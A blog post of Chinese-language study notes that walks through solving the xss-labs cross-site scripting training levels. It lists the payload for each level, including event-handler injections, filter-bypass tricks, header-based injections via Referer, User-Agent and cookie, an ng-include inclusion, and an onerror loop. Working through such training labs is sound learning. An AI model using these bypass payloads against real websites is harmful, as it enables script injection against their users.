xss-labs闯关笔记


第一关:
  • 直接改name=script>alert(1)
第二关:
  • htmlspecialchares()函数
第三关:
  • 对尖括号进行过滤了,可以通过标签的一些特殊事件来执行js代码,
  • 写入语句:level3.php?keyword=’onfocus=javascript:alert(1) >
  • 成功注入
第四关:
  • onclick=”alert(1)或者 “ onmouseover=”alert(1)
第五关:
  • 用同样方法时发现,onclick被添加下划线干扰了。
  • 借助超链接执行js代码
  • href 属性规定链接的目标: 先把前面的值閉合掉
1
"> <a href='javascript:alert(1)'>
第六关:
  • 同上,大小写绕过
第七关
  • 只有一次过滤,替换为空
  • 可以尝试javascrscriptipt 这种方法绕过
第八关
  • xxxx编码绕过
第九关:
  • 检测链接里有没有http//,可以在跨站语句后添加http://,然后用//注释掉将网址注释掉
第十关:
  • hidden,隐藏属性值;type=‘text’ (作用是让它显示出来)onclick=‘alert(1)’
第十一关:
  • http_referer
  • 抓包,添加 referer:111,发送到虚拟请求里,查看页面返回,发现111被带入到,value里了,发现注入点,
  • 写入语句:referer:”type=”text” onclick=alert(1)
  • 放包到浏览器,点击搜索框,注入成功
第十二关
  • 接收 user_agent
  • 查看页面源码,发现tref值后面有类似user_agent的值,抓包观察,发现值一样,找到注入点,
  • 写入语句:”type=”text” onclick=”alert(1)
  • 放包到浏览器,点击搜索框,注入成功
  • 如何判断有无xss漏洞:地址或数据包有无页面上显示的数据
第十三关
  • 查看页面源码,发现t_cook有可疑值,抓包发现,在cookie这一栏看到相应值,找到注入点,
  • 写入语句:”type=”text” onclick=alert(1),模拟提交,发现注入成功,发到浏览器,点击搜索框,注入成功
第十五关
  • src参数无法产生xss的
  • ng-app指令,初始化一个angularJSuing应用程序
  • ng-include指令
1
2
3
4
5
6
7
8
9
10
11
12
13
用于包含外部的html文件,包含的内容将作为指定元素的子节点,ng-include属性的值可以是一个表达式,返回一个文件名,默认情况下包含的文件需要包含在同一个域名下。

ng-include,如果单纯指定地址,必须加引号

ng-include,加载外部html,script标签中的内容不执行

ng-include,加载外部html中含有style标签样式可以识别

这里出现的ng-include去包含第一关,命令:/level15.php?src='level1.php?name=<img src=x onerror=alert(xss)> '

src='level1.php?name=<img src=w onerror=alert(2)>'

img src后跟图片地址,如果图片存在就不会出发oneror。
第十六关
  • 改一下参数值,发现被带入到

    标签中,用最基本的代码测试,发现关键字script、/、空格,都被编码成空格了,猜想源代码是过滤了这些关键字符,需要用一个不需要闭合的标签,比如 上一关用到的

  • 写入语句:<img%0asrc=”a”onerror=alert(1)>

  • 因为源代码里把空格也过滤了,但img和src中要有空格,可以利用 回车的url编码格式的**%0a**绕过。 成功弹窗

第十七关
  • 改下参数值,发现被带入到标签(标签就是引入一个swf文件到浏览器端)中,而且<>被编码了,

  • 页面有一个类似图片的东西,所以可以考虑通过事件来触发,因为src属性是不需要闭合的,只需要一个空格就可以,所以在onclick=alert(”xss”)前加一个空格就好

  • onclick事件

    onclick=alert(”xss”)

  • onmouseover (当鼠标移动到该标签上会触发)

第十八关

同上

第十九关

这一关涉及到 flash xss的攻击手段,flash产生的xss问题主要有两种方式:

  • 加载第三方资源
  • 与javascript通信引发xss

常见的可触发xss的危险函数主要有

  • geturl 、navigatetourl、Externalinterface.call、htmltext、loadMovie等

xss跨站之waf绕过及安全修复

onerror事件:当视频的媒体数据加载期间发生错误时执行javascfript

<img src=”pic.gif” οnerrοr=”javascript:this.src=’/noPic.gif’;” alt=”pic” />

因为csdn做了简单的转义,它会将注入的标签,去掉闭合性,也就是会把我们注入的内容理解为:

<img src=”pic.gif” οnerrοr=”javascript:this.src=’/noPic.gif’;” alt=”pic”>

这样,注入的标签就失去了闭合性,对一些普通的攻击就进行了防御,但是onerroe事件是专门针对js出错的,所以,标签闭合性刚好触发了,所以会被执行,执行之后将img标签的scr属性替换成xss注入语句,将注入的地址,弄成不能访问的地址,这样就反复的触发onerror事件,最终导致浏览器堆栈溢出


文章作者: John Doe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 John Doe !
  目录